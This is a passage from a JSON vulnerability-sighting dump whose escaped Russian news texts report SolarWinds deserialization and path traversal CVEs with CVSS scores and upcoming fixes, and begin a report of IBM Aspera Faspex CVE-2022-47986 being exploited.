\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 SolarWinds 2023.1, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043a\u0430\u043a \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f, \u0441\u0442\u0430\u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043a \u043a\u043e\u043d\u0446\u0443 \u043c\u0435\u0441\u044f\u0446\u0430, \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u0435\u0439. \u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u043d\u0430 \u0441\u0442\u0430\u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, SolarWinds \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0441 Server & Application Monitor 2022.4, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Kerberos \u043d\u0435\u043b\u044c\u0437\u044f \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441 NTLM.\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u044b, \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0432\u0448\u0438\u0435 \u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u0440\u0435\u0437 Kerberos, \u043d\u0435 \u043e\u0436\u0438\u0434\u0430\u043b\u0438 NTLM-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u0435, \u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043c\u044b \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 IP-\u0430\u0434\u0440\u0435\u0441, \u044d\u0442\u043e \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Kerberos. \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 Hybrid Cloud Observability 2023.1 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u044d\u0442\u043e\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a.\n\nSolarWinds \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2023-02-20T11:30:07.000000Z"}, {"uuid": "e70de583-814d-4c46-9632-27d01c734cb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47507", "type": "seen", "source": "https://t.me/true_secator/4088", "content": "SolarWinds \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u043a \u043a\u043e\u043d\u0446\u0443 \u0444\u0435\u0432\u0440\u0430\u043b\u044f.\n\n\u0418\u0437 \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434.\u00a0\u0427\u0435\u0442\u044b\u0440\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8.\n\nCVE-2023-23836, CVE-2022-47503, CVE-2022-47504 \u0438 CVE-2022-47507 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Orion \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u043a\u043e\u043d\u0441\u043e\u043b\u0438 SolarWinds \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u041f\u044f\u0442\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 CVE-2022-38111 SolarWinds \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0445\u043e\u0442\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0430\u043a\u0438\u0435 \u0436\u0435.\u00a0\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 7,2.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0434\u043b\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 SolarWinds, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2022-47506 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8,8).\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 SolarWinds 2023.1, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043a\u0430\u043a \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f, \u0441\u0442\u0430\u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043a \u043a\u043e\u043d\u0446\u0443 \u043c\u0435\u0441\u044f\u0446\u0430, \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u0435\u0439. \u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u043d\u0430 \u0441\u0442\u0430\u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, SolarWinds \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0441 Server & Application Monitor 2022.4, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Kerberos \u043d\u0435\u043b\u044c\u0437\u044f \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441 NTLM.\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u044b, \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0432\u0448\u0438\u0435 \u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u0440\u0435\u0437 Kerberos, \u043d\u0435 \u043e\u0436\u0438\u0434\u0430\u043b\u0438 NTLM-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u0435, \u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043c\u044b \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 IP-\u0430\u0434\u0440\u0435\u0441, \u044d\u0442\u043e \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Kerberos. \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 Hybrid Cloud Observability 2023.1 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u044d\u0442\u043e\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a.\n\nSolarWinds \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2023-02-20T11:30:07.000000Z"}, {"uuid": "48f1ec92-12cd-466a-a06c-2c29f0914676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47504", "type": "seen", "source": "https://t.me/true_secator/4088", "content": "SolarWinds \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u043a \u043a\u043e\u043d\u0446\u0443 \u0444\u0435\u0432\u0440\u0430\u043b\u044f.\n\n\u0418\u0437 \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434.\u00a0\u0427\u0435\u0442\u044b\u0440\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 8,8.\n\nCVE-2023-23836, CVE-2022-47503, CVE-2022-47504 \u0438 CVE-2022-47507 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Orion \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u043a\u043e\u043d\u0441\u043e\u043b\u0438 SolarWinds \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u041f\u044f\u0442\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 CVE-2022-38111 SolarWinds \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0445\u043e\u0442\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0430\u043a\u0438\u0435 \u0436\u0435.\u00a0\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 7,2.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0434\u043b\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 SolarWinds, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2022-47506 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8,8).\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 SolarWinds 2023.1, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043a\u0430\u043a \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f, \u0441\u0442\u0430\u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043a \u043a\u043e\u043d\u0446\u0443 \u043c\u0435\u0441\u044f\u0446\u0430, \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u0435\u0439. \u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u043d\u0430 \u0441\u0442\u0430\u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, SolarWinds \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0441 Server & Application Monitor 2022.4, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Kerberos \u043d\u0435\u043b\u044c\u0437\u044f \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441 NTLM.\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u044b, \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0432\u0448\u0438\u0435 \u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u0440\u0435\u0437 Kerberos, \u043d\u0435 \u043e\u0436\u0438\u0434\u0430\u043b\u0438 NTLM-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u0435, \u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043c\u044b \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 IP-\u0430\u0434\u0440\u0435\u0441, \u044d\u0442\u043e \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Kerberos. \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 Hybrid Cloud Observability 2023.1 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u044d\u0442\u043e\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a.\n\nSolarWinds \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2023-02-20T11:30:07.000000Z"}, {"uuid": "a6f52630-6272-4bc2-a0ff-7ba692cc7c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://t.me/true_secator/4076", "content": "\u041a\u0430\u043a \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 GoAnywhere MFT, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0434\u0432\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043d\u0430\u0437\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u041f\u041e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Aspera Faspex \u043e\u0442 IBM \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.\n\nCVE-2022-47986\u00a0\u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 YAML, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c 